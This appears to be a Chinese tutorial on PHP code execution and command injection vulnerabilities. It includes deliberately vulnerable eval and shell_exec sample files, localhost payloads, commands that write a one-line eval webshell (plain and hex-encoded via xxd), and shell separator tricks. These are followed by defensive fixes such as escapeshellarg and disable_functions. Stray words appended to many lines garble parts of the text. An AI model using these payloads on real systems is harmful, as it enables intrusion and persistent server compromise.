命令执行、代码执行漏洞

本质:用了相关函数、却存在能够控制的变量。php

发现:工具 扫描、代码审计linux

代码执行:web

代码执行产生函数:eval,assert等,sql

 

code_eval.php:shell

<?php

$code=$_GET["name"];
eval($code);
?>

payload:http://127.0.0.1/code_eval.php?name=echo phpinfo();windows

eval():将这串代码以php执行数组

利用:安全

http://127.0.0.1/code_eval.php?name= echo ^<?php eval($_POST[pandas]); ?^> >C:/wwwroot/webshell.php 函数

 

 

代码注入的防治:工具

  1. 升级到PHP 7.1,该版本对大部分常见的执行动态代码的方法进行了封堵。

  2. php.ini中,关闭“allow_url_fopen”。在打开它的状况下,能够经过 phar:// 等协议丢给include,让其执行动态代码。

  3. php.ini中,经过disable_functions关闭 exec,passthru,shell_exec,system 等函数,禁止PHP调用外部程序。

  4. 永远不要在代码中使用eval。

  5. 设置好上传文件夹的权限,禁止从该文件夹执行代码。

  6. include 文件的时候,注意文件的来源;须要动态include时作好参数过滤。

  7. 对于preg_replace()函数,要放弃使用/e修饰符,也可使用preg_replace_callback()函数代替。若是必定要使用该函数,请保证第二个参数中,对于正则匹配出的对象用单引号包裹     由于mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) /e 修正符使 preg_replace() 将 replacement 参数看成 PHP 代码(在适当的逆向引用替换完以后)。

 

 

 

 

 

命令执行(命令注入):

本质:命令执行产生函数:exec,shell_exec,system,passthru等将参数以dos、shell执行

exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 其实是使用shell_exec()函数,此外还要当心mail()函数的安全

system() 输出并返回最后一行shell结果。 
exec() 不输出结果,返回最后一行shell结果,全部结果能够保存到一个返回的数组里面。 
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。 

popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针

 

 

cmd_eval.php:

<?php
$cmd=$_GET["name"];
echo shell_exec($cmd);
?>

 

 

payload:http://127.0.0.1/cmd_eval.php?name=netstat%20-ano

    http://127.0.0.1/cmd_eval.php?name=ipconfig

 

 

 命令执行利用及绕过姿式  

写入webshell:

利用命令注入写一句话php webshell到web目录涉及到一些特殊字符的转义,假设须要写入<?php eval($_POST[kang]); ?>,方法以下:
WINDOWS:用^转义<,即执行echo ^<?php eval($_POST[kang]); ?^> > web可写目录加文件完整名字

linux下须要用\来转义<,不过不少php都默认开启gpc(魔术引号magic_quotes_gpc())。能够先用16进制转换一句话再用xxd命令把16进制还原,命令以下:
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字

后面命令注入也有时间盲注和sql注入很像

| 命令管道符

<>>> 文件重定向符

测试: 0 | dir c:

  代码只过滤了部分特殊字符,能够考虑用其余字符进行测试,这边列举一下Window/Linux可利用的特殊字符:

windows支持:

|     直接执行后面的语句      ping 127.0.0.1|whoami          

||    前面出错执行后面的 ,前面为假       ping  2 || whoami 

&   前面的语句为假则直接执行后面的,前面可真可假                       ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真    ping 127.0.0.1&&whoami

 

Linux支持:

;     前面的执行完执行后面的      ping 127.0.0.1;whoami  

|     管道符,显示后面的执行结果   ping 127.0.0.1|whoami            

11   当前面的执行出错时执行后面的   ping 1||whoami  

&   前面的语句为假则直接执行后面的,前面可真可假                       ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真    ping 127.0.0.1&&whoami

如何防止命令执行漏洞

  PHP内置的两个函数能够有效防止命令执行:

 1. escapeshellarg() 将给字符串增长一个单引号而且能引用或者转码任何已经存在的单引号,这样以确保可以直接将一个字符串传入 shell 函数,而且仍是确保安全的。对于用户输入的部分参数就应该使用这个函数。资料参考:http://cn.php.net/manual/zh/function.escapeshellarg.php

 2.  escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操做符 以前进行转义。资料参考:http://cn.php.net/manual/zh/function.escapeshellcmd.php

 3. php中禁止disable_functions(禁用一些危险函数)

 4. 参数值尽可能使用引用号包裹,并在拼接前调用addslashes进行转义

 

固然,修复方法还有不少方式,修复方式通常有两种思惟:

  一、黑名单:过滤特殊字符或替换字符  二、白名单:只容许特殊输入的类型/长度

相关文章
相关标签/搜索